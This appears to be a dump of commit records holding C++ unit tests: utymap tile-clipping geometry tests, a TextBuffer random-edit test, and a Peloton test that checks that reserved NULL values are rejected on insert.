checkGeometry<Area>(reinterpret_cast<const Area&>(element), { { 20, 10 }, { 20, 0 }, { 10, 0 }, { 10, 10 } });\n }\n else {\n BOOST_TEST_FAIL(\"Unexpected quadKey!\");\n }\n });\n\n elementStorePtr->store(way, LodRange(1, 1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 2);\n}\n\nBOOST_AUTO_TEST_CASE(GivenAreaIntersectsTwoTilesTwice_WhenStore_GeometryIsClipped)\n{\n Area way = ElementUtils::createElement<Area>(*stringTablePtr,\n { { \"test\", \"Foo\" } },\n { { 20, 10 }, { 20, -10 }, { 5, -10 }, { 5, 10 }, { 10, 10 }, { 10, -5 }, { 15, -5 }, { 15, 10 } });\n createElementStore(\"area|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 0, 0)) {\n checkGeometry<Area>(reinterpret_cast<const Area&>(element), \n { { 10, 0 }, { 10, -5 }, { 15, -5 }, { 15, 0 }, { 20, 0 }, { 20, -10 }, { 5, -10 }, { 5, 0 } });\n }\n else if (checkQuadKey(quadKey, 1, 1, 0)) {\n const Relation& relation = reinterpret_cast<const Relation&>(element);\n BOOST_CHECK_EQUAL(relation.elements.size(), 2);\n checkGeometry<Area>(reinterpret_cast<const Area&>(*relation.elements[0]), { { 15, 10 }, { 20, 10 }, { 20, 0 }, {15, 0} });\n checkGeometry<Area>(reinterpret_cast<const Area&>(*relation.elements[1]), { { 10, 10 }, { 10, 0 }, { 5, 0 }, { 5, 10 } });\n }\n else {\n BOOST_TEST_FAIL(\"Unexpected quadKey!\");\n }\n });\n\n elementStorePtr->store(way, LodRange(1, 1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 2);\n}\n\nBOOST_AUTO_TEST_CASE(GivenAreaBiggerThanTile_WhenStore_GeometryIsEmpty)\n{\n Area way = ElementUtils::createElement<Area>(*stringTablePtr,\n { { \"test\", \"Foo\" } },\n { { -10, -10 }, { -10, 181 }, { 91, 181 }, { 91, -10 } });\n createElementStore(\"area|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 1, 0)) {\n BOOST_CHECK_EQUAL(reinterpret_cast<const Area&>(element).coordinates.size(), 0);\n }\n });\n\n elementStorePtr->store(way, LodRange(1, 1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 4);\n}\n\nBOOST_AUTO_TEST_CASE(GivenRelationOfPolygonWithHole_WhenStore_AreaIsReturnedWithClippedGeometry)\n{\n Area outer = ElementUtils::createElement<Area>(*stringTablePtr, {},\n { { 5, 10 }, { 20, 10 }, { 20, -10 }, {5, -10} });\n Area inner = ElementUtils::createElement<Area>(*stringTablePtr, {},\n { { 10, 5 }, { 15, 5 }, { 15, -5 }, { 10, -5 } });\n Relation relation;\n relation.tags = std::vector<Tag>{ ElementUtils::createTag(*stringTablePtr, \"test\", \"Foo\") };\n relation.elements.push_back(std::shared_ptr<Area>(new Area(inner)));\n relation.elements.push_back(std::shared_ptr<Area>(new Area(outer)));\n createElementStore(\"relation|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 1, 0)) {\n checkGeometry<Area>(reinterpret_cast<const Area&>(element),\n { \n { 20, 10 }, { 20, 0 }, { 15, 0 }, { 15, 5 }, { 10, 5 }, { 10, 0 }, { 5, 0 }, {5, 10}\n });\n } else if(checkQuadKey(quadKey, 1, 0, 0)) {\n checkGeometry<Area>(reinterpret_cast<const Area&>(element),\n {\n { 10, 0 }, { 10, -5 }, { 15, -5 }, { 15, 0 }, { 20, 0 }, { 20, -10 }, { 5, -10 }, { 5, 0 }\n });\n } else {\n BOOST_TEST_FAIL(\"Unexpected quadKey!\");\n }\n });\n\n elementStorePtr->store(relation, LodRange(1, 1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 2);\n}\n\nBOOST_AUTO_TEST_CASE(GivenRelationOfPolygonWithHole_WhenStore_RelationIsReturnedWithClippedGeometry)\n{\n Area outer = ElementUtils::createElement<Area>(*stringTablePtr, {},\n { { 5, 10 }, { 20, 10 }, { 20, -10 }, { 5, -10 } });\n Area inner = ElementUtils::createElement<Area>(*stringTablePtr, {},\n { { 10, 8 }, { 15, 8 }, { 15, 2 }, { 10, 2 } });\n Relation relation;\n relation.tags = std::vector<Tag>{ ElementUtils::createTag(*stringTablePtr, \"test\", \"Foo\") };\n relation.elements.push_back(std::shared_ptr<Area>(new Area(inner)));\n relation.elements.push_back(std::shared_ptr<Area>(new Area(outer)));\n createElementStore(\"relation|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 1, 0)) {\n const Relation& relation = reinterpret_cast<const Relation&>(element);\n BOOST_CHECK_EQUAL(relation.elements.size(), 2);\n checkGeometry<Area>(reinterpret_cast<const Area&>(*relation.elements[0]), { { 20, 10 }, { 20, 0 }, { 5, 0 }, { 5, 10 } });\n checkGeometry<Area>(reinterpret_cast<const Area&>(*relation.elements[1]), { { 10, 2 }, { 15, 2 }, { 15, 8 }, { 10, 8 } });\n }\n else if (checkQuadKey(quadKey, 1, 0, 0)) {\n checkGeometry<Area>(reinterpret_cast<const Area&>(element), { { 20, 0 }, { 20, -10 }, { 5, -10 }, { 5, 0 } });\n }\n else {\n BOOST_TEST_FAIL(\"Unexpected quadKey!\");\n }\n });\n\n elementStorePtr->store(relation, LodRange(1, 1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 2);\n}\n\nBOOST_AUTO_TEST_SUITE_END()<commit_msg>index: add unit test for way outside tile<commit_after>#include \"GeoCoordinate.hpp\"\n#include \"entities\/Element.hpp\"\n#include \"entities\/Node.hpp\"\n#include \"entities\/Way.hpp\"\n#include \"entities\/Area.hpp\"\n#include \"entities\/Relation.hpp\"\n#include \"index\/ElementStore.hpp\"\n#include \"mapcss\/StyleProvider.hpp\"\n#include \"test_utils\/ElementUtils.hpp\"\n#include \"test_utils\/MapCssUtils.hpp\"\n\n#include <boost\/test\/unit_test.hpp>\n\n#include <functional>\n#include <initializer_list>\n#include <utility>\n\nusing namespace utymap::entities;\nusing namespace utymap::index;\nusing namespace utymap::mapcss;\n\ntypedef std::function<void(const Element&, const utymap::QuadKey&)> StoreCallback;\n\nclass TestElementStore : public ElementStore\n{\npublic:\n\n int times;\n\n TestElementStore(const StyleProvider& styleProvider, StringTable& stringTable, StoreCallback function) :\n ElementStore(styleProvider, stringTable),\n function_(function),\n times(0)\n {\n }\n\nprotected:\n void storeImpl(const Element& element, const utymap::QuadKey& quadKey)\n {\n times++;\n function_(element, quadKey);\n }\nprivate:\n StoreCallback function_;\n};\n\nstruct Index_ElementStoreFixture\n{\n Index_ElementStoreFixture() :\n stringTablePtr(new StringTable(\"\")),\n styleProviderPtr(nullptr),\n elementStorePtr()\n {\n BOOST_TEST_MESSAGE(\"setup fixture\");\n }\n\n ~Index_ElementStoreFixture()\n {\n BOOST_TEST_MESSAGE(\"teardown fixture\");\n BOOST_TEST_CHECK(elementStorePtr->times > 0);\n delete elementStorePtr;\n delete styleProviderPtr;\n delete stringTablePtr;\n std::remove(\"string.idx\");\n std::remove(\"string.dat\");\n }\n\n void createElementStore(std::string stylesheet, const StoreCallback callback)\n {\n styleProviderPtr = MapCssUtils::createStyleProviderFromString(*stringTablePtr, stylesheet);\n elementStorePtr = new TestElementStore(*styleProviderPtr, *stringTablePtr, callback);\n }\n\n StringTable* stringTablePtr;\n StyleProvider* styleProviderPtr;\n TestElementStore* elementStorePtr;\n};\n\nbool checkQuadKey(const utymap::QuadKey& quadKey, int lod, int tileX, int tileY) \n{\n return quadKey.levelOfDetail == lod && \n quadKey.tileX == tileX && \n quadKey.tileY == tileY;\n}\n\ntemplate<typename T>\nvoid checkGeometry(const T& t, std::initializer_list<std::pair<double, double>> geometry)\n{\n BOOST_CHECK_EQUAL(t.coordinates.size(), geometry.size());\n int i = 0;\n for (const auto& pair : geometry) {\n BOOST_CHECK_EQUAL(pair.first, t.coordinates[i].latitude);\n BOOST_CHECK_EQUAL(pair.second, t.coordinates[i].longitude);\n i++;\n }\n}\n\nBOOST_FIXTURE_TEST_SUITE(Index_ElementStore, Index_ElementStoreFixture)\n\nBOOST_AUTO_TEST_CASE(GivenWayIntersectsTwoTilesOnce_WhenStore_GeometryIsClipped)\n{\n Way way = ElementUtils::createElement<Way>(*stringTablePtr,\n { { \"test\", \"Foo\" } },\n { { 10, 10 }, { 10, -10 }});\n createElementStore(\"way|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 0, 0)) {\n checkGeometry<Way>(reinterpret_cast<const Way&>(element), { { 10, -10 }, { 10, 0 } });\n }\n else if (checkQuadKey(quadKey, 1, 1, 0)) {\n checkGeometry<Way>(reinterpret_cast<const Way&>(element), { { 10, 0 }, { 10, 10 } });\n }\n else {\n BOOST_TEST_FAIL(\"Unexpected quadKey!\");\n }\n });\n\n elementStorePtr->store(way, LodRange(1,1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 2);\n}\n\nBOOST_AUTO_TEST_CASE(GivenWayIntersectsTwoTilesTwice_WhenStore_GeometryIsClipped)\n{\n Way way = ElementUtils::createElement<Way>(*stringTablePtr,\n { { \"test\", \"Foo\" } },\n { { 10, 10 }, { 10, -10 }, { 20, -10 }, {20, 10} });\n createElementStore(\"way|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 0, 0)) {\n checkGeometry<Way>(reinterpret_cast<const Way&>(element), { { 20, 0 }, { 20, -10 }, { 10, -10 }, {10, 0} });\n }\n else if (checkQuadKey(quadKey, 1, 1, 0)) {\n const Relation& relation = reinterpret_cast<const Relation&>(element);\n BOOST_CHECK_EQUAL(relation.elements.size(), 2);\n checkGeometry<Way>(reinterpret_cast<const Way&>(*relation.elements[0]), { { 20, 10 }, { 20, 0 } });\n checkGeometry<Way>(reinterpret_cast<const Way&>(*relation.elements[1]), { { 10, 0 }, { 10, 10 } });\n }\n else {\n BOOST_TEST_FAIL(\"Unexpected quadKey!\");\n }\n });\n\n elementStorePtr->store(way, LodRange(1, 1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 2);\n}\n\nBOOST_AUTO_TEST_CASE(GivenWayOutsideTileWithBoundingBoxIntersectingTile_WhenStore_IsSkipped)\n{\n Way way = ElementUtils::createElement<Way>(*stringTablePtr,\n { { \"test\", \"Foo\" } },\n { { -10, 20 }, { -5, -10 }, { 10, -10 } });\n createElementStore(\"way|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 1, 1) || \n checkQuadKey(quadKey, 1, 0, 0) || \n checkQuadKey(quadKey, 1, 0, 1)) {\n BOOST_CHECK(reinterpret_cast<const Way&>(element).coordinates.size() > 0);\n }\n else if (checkQuadKey(quadKey, 1, 1, 0)) {\n BOOST_TEST_FAIL(\"This quadkey should be skipped!!\");\n }\n else {\n BOOST_TEST_FAIL(\"Unexpected quadKey!\");\n }\n });\n\n elementStorePtr->store(way, LodRange(1, 1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 3);\n}\n\nBOOST_AUTO_TEST_CASE(GivenAreaIntersectsTwoTilesOnce_WhenStore_GeometryIsClipped)\n{\n Area way = ElementUtils::createElement<Area>(*stringTablePtr,\n { { \"test\", \"Foo\" } },\n { { 10, 10 }, { 20, 10 }, { 20, -10 }, { 10, -10 } });\n createElementStore(\"area|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 0, 0)) {\n checkGeometry<Area>(reinterpret_cast<const Area&>(element), { { 20, 0 }, { 20, -10 }, {10, -10}, {10, 0} });\n }\n else if (checkQuadKey(quadKey, 1, 1, 0)) {\n checkGeometry<Area>(reinterpret_cast<const Area&>(element), { { 20, 10 }, { 20, 0 }, { 10, 0 }, { 10, 10 } });\n }\n else {\n BOOST_TEST_FAIL(\"Unexpected quadKey!\");\n }\n });\n\n elementStorePtr->store(way, LodRange(1, 1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 2);\n}\n\nBOOST_AUTO_TEST_CASE(GivenAreaIntersectsTwoTilesTwice_WhenStore_GeometryIsClipped)\n{\n Area way = ElementUtils::createElement<Area>(*stringTablePtr,\n { { \"test\", \"Foo\" } },\n { { 20, 10 }, { 20, -10 }, { 5, -10 }, { 5, 10 }, { 10, 10 }, { 10, -5 }, { 15, -5 }, { 15, 10 } });\n createElementStore(\"area|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 0, 0)) {\n checkGeometry<Area>(reinterpret_cast<const Area&>(element), \n { { 10, 0 }, { 10, -5 }, { 15, -5 }, { 15, 0 }, { 20, 0 }, { 20, -10 }, { 5, -10 }, { 5, 0 } });\n }\n else if (checkQuadKey(quadKey, 1, 1, 0)) {\n const Relation& relation = reinterpret_cast<const Relation&>(element);\n BOOST_CHECK_EQUAL(relation.elements.size(), 2);\n checkGeometry<Area>(reinterpret_cast<const Area&>(*relation.elements[0]), { { 15, 10 }, { 20, 10 }, { 20, 0 }, {15, 0} });\n checkGeometry<Area>(reinterpret_cast<const Area&>(*relation.elements[1]), { { 10, 10 }, { 10, 0 }, { 5, 0 }, { 5, 10 } });\n }\n else {\n BOOST_TEST_FAIL(\"Unexpected quadKey!\");\n }\n });\n\n elementStorePtr->store(way, LodRange(1, 1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 2);\n}\n\nBOOST_AUTO_TEST_CASE(GivenAreaBiggerThanTile_WhenStore_GeometryIsEmpty)\n{\n Area way = ElementUtils::createElement<Area>(*stringTablePtr,\n { { \"test\", \"Foo\" } },\n { { -10, -10 }, { -10, 181 }, { 91, 181 }, { 91, -10 } });\n createElementStore(\"area|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 1, 0)) {\n BOOST_CHECK_EQUAL(reinterpret_cast<const Area&>(element).coordinates.size(), 0);\n }\n });\n\n elementStorePtr->store(way, LodRange(1, 1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 4);\n}\n\nBOOST_AUTO_TEST_CASE(GivenRelationOfPolygonWithHole_WhenStore_AreaIsReturnedWithClippedGeometry)\n{\n Area outer = ElementUtils::createElement<Area>(*stringTablePtr, {},\n { { 5, 10 }, { 20, 10 }, { 20, -10 }, {5, -10} });\n Area inner = ElementUtils::createElement<Area>(*stringTablePtr, {},\n { { 10, 5 }, { 15, 5 }, { 15, -5 }, { 10, -5 } });\n Relation relation;\n relation.tags = std::vector<Tag>{ ElementUtils::createTag(*stringTablePtr, \"test\", \"Foo\") };\n relation.elements.push_back(std::shared_ptr<Area>(new Area(inner)));\n relation.elements.push_back(std::shared_ptr<Area>(new Area(outer)));\n createElementStore(\"relation|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 1, 0)) {\n checkGeometry<Area>(reinterpret_cast<const Area&>(element),\n { \n { 20, 10 }, { 20, 0 }, { 15, 0 }, { 15, 5 }, { 10, 5 }, { 10, 0 }, { 5, 0 }, {5, 10}\n });\n } else if(checkQuadKey(quadKey, 1, 0, 0)) {\n checkGeometry<Area>(reinterpret_cast<const Area&>(element),\n {\n { 10, 0 }, { 10, -5 }, { 15, -5 }, { 15, 0 }, { 20, 0 }, { 20, -10 }, { 5, -10 }, { 5, 0 }\n });\n } else {\n BOOST_TEST_FAIL(\"Unexpected quadKey!\");\n }\n });\n\n elementStorePtr->store(relation, LodRange(1, 1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 2);\n}\n\nBOOST_AUTO_TEST_CASE(GivenRelationOfPolygonWithHole_WhenStore_RelationIsReturnedWithClippedGeometry)\n{\n Area outer = ElementUtils::createElement<Area>(*stringTablePtr, {},\n { { 5, 10 }, { 20, 10 }, { 20, -10 }, { 5, -10 } });\n Area inner = ElementUtils::createElement<Area>(*stringTablePtr, {},\n { { 10, 8 }, { 15, 8 }, { 15, 2 }, { 10, 2 } });\n Relation relation;\n relation.tags = std::vector<Tag>{ ElementUtils::createTag(*stringTablePtr, \"test\", \"Foo\") };\n relation.elements.push_back(std::shared_ptr<Area>(new Area(inner)));\n relation.elements.push_back(std::shared_ptr<Area>(new Area(outer)));\n createElementStore(\"relation|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 1, 0)) {\n const Relation& relation = reinterpret_cast<const Relation&>(element);\n BOOST_CHECK_EQUAL(relation.elements.size(), 2);\n checkGeometry<Area>(reinterpret_cast<const Area&>(*relation.elements[0]), { { 20, 10 }, { 20, 0 }, { 5, 0 }, { 5, 10 } });\n checkGeometry<Area>(reinterpret_cast<const Area&>(*relation.elements[1]), { { 10, 2 }, { 15, 2 }, { 15, 8 }, { 10, 8 } });\n }\n else if (checkQuadKey(quadKey, 1, 0, 0)) {\n checkGeometry<Area>(reinterpret_cast<const Area&>(element), { { 20, 0 }, { 20, -10 }, { 5, -10 }, { 5, 0 } });\n }\n else {\n BOOST_TEST_FAIL(\"Unexpected quadKey!\");\n }\n });\n\n elementStorePtr->store(relation, LodRange(1, 1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 2);\n}\n\nBOOST_AUTO_TEST_SUITE_END()<|endoftext|>"} {"text":"<commit_before>#include \"test-helpers.h\"\n#include <sstream>\n#include \"text-buffer.h\"\n#include \"text-slice.h\"\n\nusing std::move;\nusing std::string;\nusing std::stringstream;\n\nTEST_CASE(\"TextBuffer::build - can build a TextBuffer from a UTF8 stream\") {\n string input = \"abγdefg\\nhijklmnop\";\n stringstream stream(input, std::ios_base::in);\n\n vector<size_t> progress_reports;\n TextBuffer buffer = TextBuffer::build(stream, input.size(), \"UTF8\", 3, [&](size_t percent_done) {\n progress_reports.push_back(percent_done);\n });\n\n auto text = buffer.text();\n REQUIRE(buffer.text() == Text {u\"abγdefg\\nhijklmnop\"});\n REQUIRE(progress_reports == vector<size_t>({3, 5, 8, 11, 14, 17, 18}));\n}\n\nTEST_CASE(\"TextBuffer::set_text_in_range - basic\") {\n TextBuffer buffer {u\"abc\\ndef\\nghi\"};\n buffer.set_text_in_range(Range {{0, 2}, {2, 1}}, Text {u\"jkl\\nmno\"});\n REQUIRE(buffer.text() == Text {u\"abjkl\\nmnohi\"});\n REQUIRE(buffer.text_in_range(Range {{0, 1}, {1, 4}}) == Text {u\"bjkl\\nmnoh\"});\n}\n\nTEST_CASE(\"TextBuffer::line_length_for_row - basic\") {\n TextBuffer buffer {u\"a\\n\\nb\\r\\rc\\r\\n\\r\\n\"};\n REQUIRE(buffer.line_length_for_row(0) == 1);\n REQUIRE(buffer.line_length_for_row(1) == 0);\n}\n\nTEST_CASE(\"TextBuffer::set_text_in_range - random edits\") {\n auto t = time(nullptr);\n for (uint i = 0; i < 100; i++) {\n auto seed = t + i;\n srand(seed);\n printf(\"Seed: %ld\\n\", seed);\n\n TextBuffer buffer {get_random_string()};\n\n for (uint j = 0; j < 10; j++) {\n Text original_text = buffer.text();\n Range deleted_range = get_random_range(buffer);\n Text inserted_text = get_random_text();\n\n buffer.set_text_in_range(deleted_range, TextSlice {inserted_text});\n original_text.splice(deleted_range.start, deleted_range.extent(), TextSlice {inserted_text});\n\n REQUIRE(buffer.extent() == original_text.extent());\n REQUIRE(buffer.text() == original_text);\n for (uint32_t row = 0; row < original_text.extent().row; row++) {\n REQUIRE(\n Point(row, buffer.line_length_for_row(row)) ==\n Point(row, original_text.line_length_for_row(row))\n );\n }\n }\n }\n}\n<commit_msg>Ensure seeds aren't repeated in random set_text_in_range test<commit_after>#include \"test-helpers.h\"\n#include <sstream>\n#include \"text-buffer.h\"\n#include \"text-slice.h\"\n\nusing std::move;\nusing std::string;\nusing std::stringstream;\n\nTEST_CASE(\"TextBuffer::build - can build a TextBuffer from a UTF8 stream\") {\n string input = \"abγdefg\\nhijklmnop\";\n stringstream stream(input, std::ios_base::in);\n\n vector<size_t> progress_reports;\n TextBuffer buffer = TextBuffer::build(stream, input.size(), \"UTF8\", 3, [&](size_t percent_done) {\n progress_reports.push_back(percent_done);\n });\n\n auto text = buffer.text();\n REQUIRE(buffer.text() == Text {u\"abγdefg\\nhijklmnop\"});\n REQUIRE(progress_reports == vector<size_t>({3, 5, 8, 11, 14, 17, 18}));\n}\n\nTEST_CASE(\"TextBuffer::set_text_in_range - basic\") {\n TextBuffer buffer {u\"abc\\ndef\\nghi\"};\n buffer.set_text_in_range(Range {{0, 2}, {2, 1}}, Text {u\"jkl\\nmno\"});\n REQUIRE(buffer.text() == Text {u\"abjkl\\nmnohi\"});\n REQUIRE(buffer.text_in_range(Range {{0, 1}, {1, 4}}) == Text {u\"bjkl\\nmnoh\"});\n}\n\nTEST_CASE(\"TextBuffer::line_length_for_row - basic\") {\n TextBuffer buffer {u\"a\\n\\nb\\r\\rc\\r\\n\\r\\n\"};\n REQUIRE(buffer.line_length_for_row(0) == 1);\n REQUIRE(buffer.line_length_for_row(1) == 0);\n}\n\nTEST_CASE(\"TextBuffer::set_text_in_range - random edits\") {\n auto t = time(nullptr);\n for (uint i = 0; i < 1000; i++) {\n auto seed = t * 1000 + i;\n srand(seed);\n printf(\"Seed: %ld\\n\", seed);\n\n TextBuffer buffer {get_random_string()};\n\n for (uint j = 0; j < 10; j++) {\n \/\/ printf(\"j: %u\\n\", j);\n\n Text original_text = buffer.text();\n Range deleted_range = get_random_range(buffer);\n Text inserted_text = get_random_text();\n\n buffer.set_text_in_range(deleted_range, TextSlice {inserted_text});\n original_text.splice(deleted_range.start, deleted_range.extent(), TextSlice {inserted_text});\n\n REQUIRE(buffer.extent() == original_text.extent());\n REQUIRE(buffer.text() == original_text);\n\n for (uint32_t row = 0; row < original_text.extent().row; row++) {\n REQUIRE(\n Point(row, buffer.line_length_for_row(row)) ==\n Point(row, original_text.line_length_for_row(row))\n );\n }\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Peloton\n\/\/\n\/\/ typelimit_sql_test.cpp\n\/\/\n\/\/ Identification: test\/sql\/typelimit_sql_test.cpp\n\/\/\n\/\/ Copyright (c) 2015-17, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include <memory>\n\n#include \"catalog\/catalog.h\"\n#include \"common\/harness.h\"\n#include \"concurrency\/transaction_manager_factory.h\"\n#include \"sql\/testing_sql_util.h\"\n\nnamespace peloton {\nnamespace test {\n\nclass TypeLimitSQLTests : public PelotonTest {};\n\nconst std::vector<type::TypeId> typeLimitSQLTestTypes = {\n type::TypeId::BOOLEAN, type::TypeId::TINYINT,\n type::TypeId::SMALLINT, type::TypeId::INTEGER,\n \/\/ FIXME type::TypeId::BIGINT,\n \/\/ FIXME type::TypeId::DECIMAL,\n \/\/ FIXME type::TypeId::TIMESTAMP,\n \/\/ FIXME type::TypeId::DATE\n};\n\nvoid CreateAndLoadTable(std::string table_name, type::TypeId col_type) {\n std::string sql = StringUtil::Format(\"CREATE TABLE %s(id INT PRIMARY KEY, b %s);\",\n table_name.c_str(),\n TypeIdToString(col_type).c_str());\n LOG_TRACE(\"SQL: %s\", sql.c_str());\n TestingSQLUtil::ExecuteSQLQuery(sql);\n}\n\n\/**\n * Check whether we can INSERT values that we have reserved for our NULL indicators\n * The DBMS should throw an error to prevent you from doing that\n *\/\nTEST_F(TypeLimitSQLTests, InsertInvalidMinValue) {\n auto &txn_manager = concurrency::TransactionManagerFactory::GetInstance();\n auto txn = txn_manager.BeginTransaction();\n catalog::Catalog::GetInstance()->CreateDatabase(DEFAULT_DB_NAME, txn);\n txn_manager.CommitTransaction(txn);\n\n for (auto col_type : typeLimitSQLTestTypes) {\n \/\/ CREATE TABLE that contains a column for each type\n std::string table_name = \"tbl\" + TypeIdToString(col_type);\n CreateAndLoadTable(table_name, col_type);\n\n \/\/ Then try to insert the min value\n std::ostringstream os;\n os << \"INSERT INTO \" << table_name << \" VALUES (1, \";\n switch (col_type) {\n case type::TypeId::BOOLEAN:\n os << (int32_t)type::PELOTON_BOOLEAN_NULL;\n break;\n case type::TypeId::TINYINT:\n os << (int32_t)type::PELOTON_INT8_NULL;\n break;\n case type::TypeId::SMALLINT:\n os << type::PELOTON_INT16_NULL;\n break;\n case type::TypeId::INTEGER:\n os << type::PELOTON_INT32_NULL;\n break;\n case type::TypeId::BIGINT:\n os << type::PELOTON_INT64_NULL;\n break;\n case type::TypeId::DECIMAL:\n os << type::PELOTON_DECIMAL_NULL;\n break;\n case type::TypeId::TIMESTAMP:\n os << type::PELOTON_TIMESTAMP_NULL;\n break;\n case type::TypeId::DATE:\n os << type::PELOTON_DATE_NULL;\n break;\n default: {\n \/\/ Nothing to do!\n }\n } \/\/ SWITCH\n os << \");\";\n \/\/ This should throw an error because the query\n \/\/ is trying to insert a value that is not in a valid range for the type\n auto result = TestingSQLUtil::ExecuteSQLQuery(os.str());\n LOG_DEBUG(\"%s => %s\", TypeIdToString(col_type).c_str(), os.str().c_str());\n EXPECT_EQ(ResultType::FAILURE, result);\n }\n\n \/\/ free the database just created\n txn = txn_manager.BeginTransaction();\n catalog::Catalog::GetInstance()->DropDatabaseWithName(DEFAULT_DB_NAME, txn);\n txn_manager.CommitTransaction(txn);\n}\n\n} \/\/ namespace test\n} \/\/ namespace peloton<commit_msg>Added TIMESTAMP to TypeLimitSQLTests::InsertInvalidMinValue<commit_after>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Peloton\n\/\/\n\/\/ typelimit_sql_test.cpp\n\/\/\n\/\/ Identification: test\/sql\/typelimit_sql_test.cpp\n\/\/\n\/\/ Copyright (c) 2015-17, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include <memory>\n\n#include \"catalog\/catalog.h\"\n#include \"common\/harness.h\"\n#include \"concurrency\/transaction_manager_factory.h\"\n#include \"sql\/testing_sql_util.h\"\n\nnamespace peloton {\nnamespace test {\n\nclass TypeLimitSQLTests : public PelotonTest {};\n\nconst std::vector<type::TypeId> typeLimitSQLTestTypes = {\n type::TypeId::BOOLEAN, type::TypeId::TINYINT,\n type::TypeId::SMALLINT, type::TypeId::INTEGER,\n type::TypeId::TIMESTAMP,\n \/\/ FIXME type::TypeId::BIGINT,\n \/\/ FIXME type::TypeId::DECIMAL,\n \/\/ FIXME type::TypeId::DATE\n};\n\nvoid CreateAndLoadTable(std::string table_name, type::TypeId col_type) {\n std::string sql = StringUtil::Format(\"CREATE TABLE %s(id INT PRIMARY KEY, b %s);\",\n table_name.c_str(),\n TypeIdToString(col_type).c_str());\n LOG_TRACE(\"SQL: %s\", sql.c_str());\n TestingSQLUtil::ExecuteSQLQuery(sql);\n}\n\n\/**\n * Check whether we can INSERT values that we have reserved for our NULL indicators\n * The DBMS should throw an error to prevent you from doing that\n *\/\nTEST_F(TypeLimitSQLTests, InsertInvalidMinValue) {\n auto &txn_manager = concurrency::TransactionManagerFactory::GetInstance();\n auto txn = txn_manager.BeginTransaction();\n catalog::Catalog::GetInstance()->CreateDatabase(DEFAULT_DB_NAME, txn);\n txn_manager.CommitTransaction(txn);\n\n for (auto col_type : typeLimitSQLTestTypes) {\n \/\/ CREATE TABLE that contains a column for each type\n std::string table_name = \"tbl\" + TypeIdToString(col_type);\n CreateAndLoadTable(table_name, col_type);\n\n \/\/ Then try to insert the min value\n std::ostringstream os;\n os << \"INSERT INTO \" << table_name << \" VALUES (1, \";\n switch (col_type) {\n case type::TypeId::BOOLEAN:\n os << (int32_t)type::PELOTON_BOOLEAN_NULL;\n break;\n case type::TypeId::TINYINT:\n os << (int32_t)type::PELOTON_INT8_NULL;\n break;\n case type::TypeId::SMALLINT:\n os << type::PELOTON_INT16_NULL;\n break;\n case type::TypeId::INTEGER:\n os << type::PELOTON_INT32_NULL;\n break;\n case type::TypeId::BIGINT:\n os << type::PELOTON_INT64_NULL;\n break;\n case type::TypeId::DECIMAL:\n os << type::PELOTON_DECIMAL_NULL;\n break;\n case type::TypeId::TIMESTAMP:\n os << type::PELOTON_TIMESTAMP_NULL;\n break;\n case type::TypeId::DATE:\n os << type::PELOTON_DATE_NULL;\n break;\n default: {\n \/\/ Nothing to do!\n }\n } \/\/ SWITCH\n os << \");\";\n \/\/ This should throw an error because the query\n \/\/ is trying to insert a value that is not in a valid range for the type\n auto result = TestingSQLUtil::ExecuteSQLQuery(os.str());\n LOG_TRACE(\"%s => %s\", TypeIdToString(col_type).c_str(), os.str().c_str());\n EXPECT_EQ(ResultType::FAILURE, result);\n }\n\n \/\/ free the database just created\n txn = txn_manager.BeginTransaction();\n catalog::Catalog::GetInstance()->DropDatabaseWithName(DEFAULT_DB_NAME, txn);\n txn_manager.CommitTransaction(txn);\n}\n\n} \/\/ namespace test\n} \/\/ namespace peloton<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2018 The gVisor Authors.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ 